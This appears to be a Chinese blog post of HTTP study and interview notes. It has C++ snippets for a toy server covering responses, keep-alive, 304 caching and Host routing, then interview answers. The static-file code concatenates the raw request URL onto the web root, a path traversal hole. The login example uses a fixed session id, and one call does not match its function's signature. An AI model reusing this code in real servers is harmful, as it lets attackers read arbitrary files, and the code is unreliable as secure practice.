  • 使用\r\n\r\n作为头部和体的分隔符
  • 请求头是键: 值格式,注意冒号后有空格

6.2 HTTP响应构造

构造HTTP响应,关键是正确设置状态行、响应头、响应体。

cpp 复制代码
struct HttpResponse {
    int status_code;
    std::string status_text;
    std::map<std::string, std::string> headers;
    std::string body;
};

std::string build_http_response(const HttpResponse& resp) {
    std::stringstream ss;
    
    // 1. 状态行
    ss << "HTTP/1.1 " << resp.status_code << " " 
       << resp.status_text << "\r\n";
    
    // 2. 响应头
    for (const auto& [key, value] : resp.headers) {
        ss << key << ": " << value << "\r\n";
    }
    
    // 3. 空行
    ss << "\r\n";
    
    // 4. 响应体
    ss << resp.body;
    
    return ss.str();
}

// 快速构造响应的辅助函数
std::string build_json_response(int status_code, 
                                  const std::string& json_body) {
    HttpResponse resp;
    resp.status_code = status_code;
    
    if (status_code == 200) resp.status_text = "OK";
    else if (status_code == 404) resp.status_text = "Not Found";
    else if (status_code == 500) resp.status_text = "Internal Server Error";
    
    resp.headers["Content-Type"] = "application/json";
    resp.headers["Content-Length"] = std::to_string(json_body.size());
    resp.headers["Connection"] = "keep-alive";
    resp.body = json_body;
    
    return build_http_response(resp);
}

使用示例:

cpp 复制代码
void handle_request(int connfd, const HttpRequest& req) {
    if (req.method == "GET" && req.url == "/api/user") {
        std::string json = "{\"id\":123,\"name\":\"john\"}";
        std::string response = build_json_response(200, json);
        send(connfd, response.c_str(), response.size(), 0);
    }
    else if (req.method == "POST" && req.url == "/api/login") {
        // 验证用户名密码...
        std::string json = "{\"code\":200,\"message\":\"登录成功\"}";
        std::string response = build_json_response(200, json);
        
        // 设置Cookie
        response.insert(response.find("\r\n\r\n"), 
                       "\r\nSet-Cookie: sessionid=abc123; HttpOnly");
        
        send(connfd, response.c_str(), response.size(), 0);
    }
    else {
        std::string json = "{\"error\":\"Not Found\"}";
        std::string response = build_json_response(404, json);
        send(connfd, response.c_str(), response.size(), 0);
    }
}

6.3 持久连接实现

持久连接的关键:循环处理同一个连接上的多个请求。

cpp 复制代码
void HttpServer::handleConnection(int connfd) {
    bool keep_alive = true;
    
    while (keep_alive) {
        // 1. 接收请求
        char buf[4096];
        int n = recv(connfd, buf, sizeof(buf), 0);
        if (n <= 0) break;
        
        // 2. 解析请求
        HttpRequest req;
        parse_http_request(buf, n, req);
        
        // 3. 检查是否继续保持连接
        if (req.version == "HTTP/1.1") {
            keep_alive = true;
            // 检查Connection头
            if (req.headers["Connection"] == "close") {
                keep_alive = false;
            }
        } else {
            // HTTP/1.0默认关闭连接
            keep_alive = false;
        }
        
        // 4. 处理请求,构造响应
        HttpResponse resp;
        routeRequest(req, resp);
        
        // 5. 设置响应头
        if (keep_alive) {
            resp.headers["Connection"] = "keep-alive";
            resp.headers["Keep-Alive"] = "timeout=5, max=100";
        } else {
            resp.headers["Connection"] = "close";
        }
        
        // 6. 发送响应
        std::string response = build_http_response(resp);
        send(connfd, response.c_str(), response.size(), 0);
        
        // 7. 如果不保持连接,关闭socket
        if (!keep_alive) {
            close(connfd);
            break;
        }
    }
}

void HttpServer::routeRequest(const HttpRequest& req, 
                                HttpResponse& resp) {
    if (req.method == "GET" && req.url == "/api/user") {
        resp.status_code = 200;
        resp.status_text = "OK";
        resp.headers["Content-Type"] = "application/json";
        resp.body = "{\"id\":123,\"name\":\"john\"}";
    }
    else {
        resp.status_code = 404;
        resp.status_text = "Not Found";
        resp.headers["Content-Type"] = "application/json";
        resp.body = "{\"error\":\"Not Found\"}";
    }
}

关键点:

  1. 使用while循环处理多个请求
  2. 检查Connection头决定是否继续
  3. HTTP/1.1默认keep-alive,HTTP/1.0默认close
  4. 设置Keep-Alive头指定超时和最大请求数

6.4 缓存验证实现

实现Last-Modified缓存验证,返回304 Not Modified。

cpp 复制代码
void HttpServer::handleStaticFile(const HttpRequest& req, 
                                    HttpResponse& resp) {
    std::string filepath = "/var/www" + req.url;
    
    // 获取文件信息
    struct stat st;
    if (stat(filepath.c_str(), &st) != 0) {
        // 文件不存在
        resp.status_code = 404;
        resp.status_text = "Not Found";
        resp.body = "File not found";
        return;
    }
    
    // 获取文件修改时间
    time_t file_mtime = st.st_mtime;
    
    // 转换为HTTP时间格式
    char time_buf[128];
    struct tm* tm = gmtime(&file_mtime);
    strftime(time_buf, sizeof(time_buf), 
             "%a, %d %b %Y %H:%M:%S GMT", tm);
    
    // 检查If-Modified-Since头
    auto it = req.headers.find("If-Modified-Since");
    if (it != req.headers.end()) {
        // 有If-Modified-Since,进行缓存验证
        if (it->second == std::string(time_buf)) {
            // 文件未修改,返回304
            resp.status_code = 304;
            resp.status_text = "Not Modified";
            resp.headers["Last-Modified"] = time_buf;
            // 不设置body,304不返回响应体
            return;
        }
    }
    
    // 文件被修改或第一次请求,返回200
    // 读取文件内容
    std::ifstream file(filepath, std::ios::binary);
    if (!file.is_open()) {
        resp.status_code = 500;
        resp.status_text = "Internal Server Error";
        resp.body = "Cannot open file";
        return;
    }
    
    std::ostringstream oss;
    oss << file.rdbuf();
    resp.body = oss.str();
    
    // 设置响应头
    resp.status_code = 200;
    resp.status_text = "OK";
    resp.headers["Content-Type"] = getContentType(filepath);
    resp.headers["Last-Modified"] = time_buf;
    resp.headers["Cache-Control"] = "max-age=3600"; // 缓存1小时
}

std::string HttpServer::getContentType(const std::string& filepath) {
    if (filepath.ends_with(".html")) return "text/html";
    if (filepath.ends_with(".css")) return "text/css";
    if (filepath.ends_with(".js")) return "application/javascript";
    if (filepath.ends_with(".json")) return "application/json";
    if (filepath.ends_with(".png")) return "image/png";
    if (filepath.ends_with(".jpg") || filepath.ends_with(".jpeg")) 
        return "image/jpeg";
    return "application/octet-stream";
}

关键点:

  1. 使用stat获取文件修改时间
  2. 转换为HTTP时间格式:"%a, %d %b %Y %H:%M:%S GMT"
  3. 比较If-Modified-Since和文件修改时间
  4. 相同返回304,不同返回200 + 文件内容
  5. 304响应不设置body

6.5 Host头路由实现

根据Host头路由到不同的网站目录。

cpp 复制代码
void HttpServer::handleRequest(const HttpRequest& req, 
                                HttpResponse& resp) {
    // HTTP/1.1必须有Host头
    auto it = req.headers.find("Host");
    if (it == req.headers.end()) {
        resp.status_code = 400;
        resp.status_text = "Bad Request";
        resp.body = "Missing Host header";
        return;
    }
    
    std::string host = it->second;
    
    // 根据Host路由
    std::string document_root;
    if (host == "www.example.com" || host == "www.example.com:80") {
        document_root = "/var/www/example";
    } else if (host == "www.test.com" || host == "www.test.com:80") {
        document_root = "/var/www/test";
    } else if (host == "localhost" || host == "localhost:8080") {
        document_root = "/var/www/localhost";
    } else {
        resp.status_code = 404;
        resp.status_text = "Not Found";
        resp.body = "Unknown host: " + host;
        return;
    }
    
    // 构造完整文件路径
    std::string filepath = document_root + req.url;
    
    // 处理静态文件
    handleStaticFile(filepath, req, resp);
}

关键点:

  1. HTTP/1.1必须检查Host头
  2. 缺失Host头返回400 Bad Request
  3. 根据Host头选择不同的文档根目录
  4. 注意Host头可能包含端口号(如www.example.com:80

七、面试要点总结

7.1 必背知识点

HTTP基础(80%概率):

  1. HTTP请求和响应格式

    • 请求:请求行 + 请求头 + 空行 + 请求体
    • 响应:状态行 + 响应头 + 空行 + 响应体
  2. 10个常用状态码

    • 2xx:200 OK
    • 3xx:301 Moved Permanently, 302 Found, 304 Not Modified
    • 4xx:400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
    • 5xx:500 Internal Server Error, 502 Bad Gateway, 503 Service Unavailable
  3. GET vs POST

    • 参数位置、长度、安全性、缓存、幂等性、语义
  4. 幂等性

    • 定义:多次执行结果与一次相同
    • 幂等:GET, PUT, DELETE
    • 非幂等:POST
  5. Cookie和Session

    • Cookie:客户端,4KB,Set-Cookie设置
    • Session:服务器端,无限制,Redis存储
    • 登录流程:POST登录 → Set-Cookie → 后续请求携带Cookie → 服务器验证
  6. HttpOnly

    • 防止JavaScript读取Cookie
    • 防止XSS攻击

HTTP/1.1特性(60%概率):

  1. 持久连接(Keep-Alive)

    • 一个TCP连接处理多个请求
    • 减少握手开销
    • HTTP/1.1默认开启
    • Connection: keep-alive
  2. 缓存验证机制

    • Last-Modified / If-Modified-Since:基于时间,秒级精度
    • ETag / If-None-Match:基于内容,字节级精度
    • 304 Not Modified:不返回响应体,节省带宽
  3. Host头

    • HTTP/1.1必须
    • 支持虚拟主机
    • 一个IP部署多个网站
  4. 分块传输编码

    • Transfer-Encoding: chunked
    • 边生成边发送
    • 适合动态内容和大文件

7.2 高频面试题

Q1: GET和POST的区别?

回答框架:

复制代码
从7个方面回答:

1. 参数位置:GET在URL中,POST在请求体中
2. 参数长度:GET有限制(~2KB),POST无限制
3. 安全性:GET参数可见,POST参数不可见
4. 缓存:GET可缓存,POST不缓存
5. 幂等性:GET幂等,POST非幂等
6. 历史记录:GET保留,POST不保留
7. 语义:GET获取资源,POST提交/修改资源

举例说明幂等性:
  GET /api/user?id=123 - 多次获取结果相同
  POST /api/orders - 多次创建多个订单

Q2: HTTP状态码304的作用?

回答框架:

复制代码
1. 定义:
   304 Not Modified表示资源未修改,可以使用缓存

2. 工作流程:
   第1次请求:服务器返回200 + Last-Modified + 数据
   第2次请求:客户端发送If-Modified-Since
   服务器验证:时间相同 → 返回304,无响应体
   浏览器:使用本地缓存

3. 作用:
   - 节省带宽(不返回数据)
   - 降低服务器负载
   - 提升加载速度

4. 项目实现:
   使用stat获取文件修改时间
   比较If-Modified-Since和当前时间
   相同返回304,不同返回200

Q3: Cookie和Session的区别?如何配合使用?

回答框架:

复制代码
1. 区别:
   - 存储位置:Cookie客户端,Session服务器端
   - 容量:Cookie ~4KB,Session无限制
   - 安全性:Cookie低,Session高

2. 配合使用(登录流程):
   步骤1:用户POST /api/login提交用户名密码
   步骤2:服务器验证成功,创建Session(Redis)
   步骤3:服务器返回Set-Cookie: sessionid=xxx
   步骤4:浏览器保存Cookie
   步骤5:后续请求自动携带Cookie
   步骤6:服务器通过sessionid查询Session,识别用户

3. 项目实现:
   登录时:验证密码 → 创建Session → Set-Cookie
   后续请求:解析Cookie → 查询Session → 验证身份

Q4: HTTP/1.1相比HTTP/1.0有哪些改进?

回答框架:

复制代码
4个核心改进:

1. 持久连接(Keep-Alive):
   HTTP/1.0:每次请求新连接,6个RTT
   HTTP/1.1:复用连接,4个RTT,节省2个RTT

2. 缓存机制:
   HTTP/1.0:简单的Expires
   HTTP/1.1:Last-Modified、ETag、304 Not Modified

3. Host头:
   HTTP/1.0:一个IP一个网站
   HTTP/1.1:Host头支持虚拟主机,一个IP多个网站

4. 分块传输:
   HTTP/1.0:不支持
   HTTP/1.1:Transfer-Encoding: chunked,边生成边发送

性能对比:
  同样请求3个资源
  HTTP/1.0:6个RTT
  HTTP/1.1:4个RTT
  提升33%

Q5: 在你的项目中如何实现HTTP服务器?

回答框架:

复制代码
我的Reactor项目实现了完整的HTTP服务器:

1. 基础功能:
   - HTTP请求解析:请求行、请求头、请求体
   - HTTP响应构造:状态行、响应头、响应体
   - 状态码处理:200、404、500等

2. 持久连接:
   - 循环处理同一连接的多个请求
   - 检查Connection头
   - HTTP/1.1默认keep-alive

3. 缓存验证:
   - 使用stat获取文件修改时间
   - 设置Last-Modified响应头
   - 解析If-Modified-Since请求头
   - 返回304 Not Modified

4. Host头路由:
   - 检查Host头(HTTP/1.1必须)
   - 根据Host选择不同文档根目录
   - 支持虚拟主机

5. 项目亮点:
   - 使用epoll支持高并发
   - 非阻塞IO处理请求
   - 支持Keep-Alive减少握手开销
   - 实现304缓存优化带宽

代码示例:[展示核心代码片段]

7.3 项目亮点

在面试中,要能够清晰地说出项目的亮点:

1. 完整的HTTP协议支持

复制代码
不是简单的echo服务器,而是完整的HTTP服务器
- 支持GET、POST、PUT、DELETE等方法
- 支持各种状态码(200、304、404、500等)
- 支持JSON、HTML、图片等多种Content-Type

2. HTTP/1.1核心特性

复制代码
- 持久连接(Keep-Alive):减少TCP握手开销
- 缓存验证(Last-Modified、304):优化带宽
- Host头路由:支持虚拟主机
- 分块传输(可选):支持大文件和实时流

3. 性能优化

复制代码
- epoll多路复用:支持高并发连接
- 非阻塞IO:避免阻塞在慢速客户端
- 持久连接:减少33%的RTT开销
- 缓存机制:减少99%的带宽占用

4. 实际应用场景

复制代码
可以用来:
- 部署静态网站(HTML、CSS、JS)
- 提供REST API(JSON接口)
- 文件下载服务器
- 反向代理(结合上游服务器)

八、学习心得与建议

经过这段时间对HTTP协议的学习,我有一些心得体会:

1. 理论与实践结合

单纯学习HTTP协议格式很枯燥,但当我尝试在Reactor项目中实现HTTP服务器时,每个知识点都变得具体了:

  • 为什么需要\r\n?因为HTTP协议规定的行分隔符
  • 为什么需要Content-Length?因为要知道何时停止接收数据
  • 为什么需要Host头?因为要支持虚拟主机

2. 抓住核心知识点

HTTP协议内容很多,但面试考察的核心就那几个:

  • 请求/响应格式(必考)
  • 状态码(必考10个)
  • GET vs POST(必考)
  • 持久连接(高频)
  • 缓存机制(高频)
  • Cookie/Session(高频)

先把这些核心点掌握透,再扩展其他内容。

3. 理解"为什么"

不要死记硬背,要理解设计原因:

  • 为什么HTTP/1.1需要持久连接?因为HTTP/1.0每次都要三次握手,太慢了
  • 为什么需要304 Not Modified?因为要节省带宽,提升性能
  • 为什么需要HttpOnly?因为要防止XSS攻击窃取Cookie

理解了"为什么",面试时才能说得清楚。

4. 项目是最好的简历

当我能够说出"我的项目实现了HTTP持久连接,支持304缓存验证"时,面试官的反应明显不同。项目不仅仅是代码,更是对协议的深入理解。

5. 循序渐进

HTTP协议的学习路径:

复制代码
第1步:理解基础(请求/响应格式、状态码)
第2步:掌握核心(GET vs POST、Cookie/Session)
第3步:深入特性(持久连接、缓存机制)
第4步:项目实现(在Reactor中实现HTTP服务器)
第5步:性能优化(epoll、非阻塞IO、缓存)

不要一开始就想着全部学会,一步步来,每天进步一点。

6. 面试准备

准备面试时,建议:

  • 闭卷画出HTTP请求和响应格式
  • 闭卷写出10个常用状态码
  • 能流利地说出GET vs POST的7个区别
  • 能画出Cookie/Session的登录流程图
  • 能解释持久连接和缓存机制的工作原理
  • 能展示项目中的HTTP实现代码

把这些练习到闭卷都能写出来,面试就稳了。


学习时间线:

  • Day 5(11.1):HTTP基础、请求/响应格式、状态码、GET vs POST、Cookie/Session
  • Day 6(11.2):HTTP/1.1特性、持久连接、缓存机制、Host头、分块传输
  • 总计:约4小时视频 + 2小时AI讲解 + 3小时项目实现 + 2小时整理笔记

下一步计划:

  • Week 2:HTTP/2.0、HTTPS、WebSocket
  • Week 3:复习巩固,刷题,准备面试

总结

HTTP协议是Web开发的基础,也是网络编程面试的重点。通过这两天的学习,我不仅掌握了HTTP的核心知识,还在Reactor项目中实现了完整的HTTP服务器。更重要的是,我理解了HTTP设计背后的原因,以及如何通过持久连接、缓存机制等特性来优化性能。

这个学习过程让我深刻体会到:理论知识必须和实践结合,才能真正掌握。当我能够用代码实现HTTP协议时,每个字段、每个状态码都不再是抽象的概念,而是具体的、可以调试的代码。

希望这篇文章能帮助你系统地理解HTTP协议,也希望你能在自己的项目中实践这些知识。加油!


相关推荐
初恋叫萱萱2 小时前
从正确到卓越:昇腾CANN算子开发高级性能优化指南
性能优化
潘达斯奈基~2 小时前
spark性能优化2:Window操作和groupBy操作的区别
大数据·性能优化·spark
天天进步20152 小时前
从零开始构建现代化React应用:最佳实践与性能优化
前端·react.js·性能优化
才聚PMP3 小时前
关于开启NPDP项目2025年第二次续证工作的通知
网络协议·https·ssl
小武~4 小时前
嵌入式Linux系统性能优化:深入剖析I/O性能瓶颈
linux·运维·性能优化
John_ToDebug4 小时前
【深度解析】Performance API 与 UKM:从开发者工具到浏览器遥测,全面解锁 Web 性能优化格局
chrome·性能优化
一叶飘零_sweeeet5 小时前
手写 RPC 框架
java·网络·网络协议·rpc
小白学大数据8 小时前
增量爬取策略:如何持续监控贝壳网最新成交数据
爬虫·python·性能优化
周杰伦fans14 小时前
.NET Core WebAPI 中 HTTP 请求方法详解:从新手到精通
网络协议·http·.netcore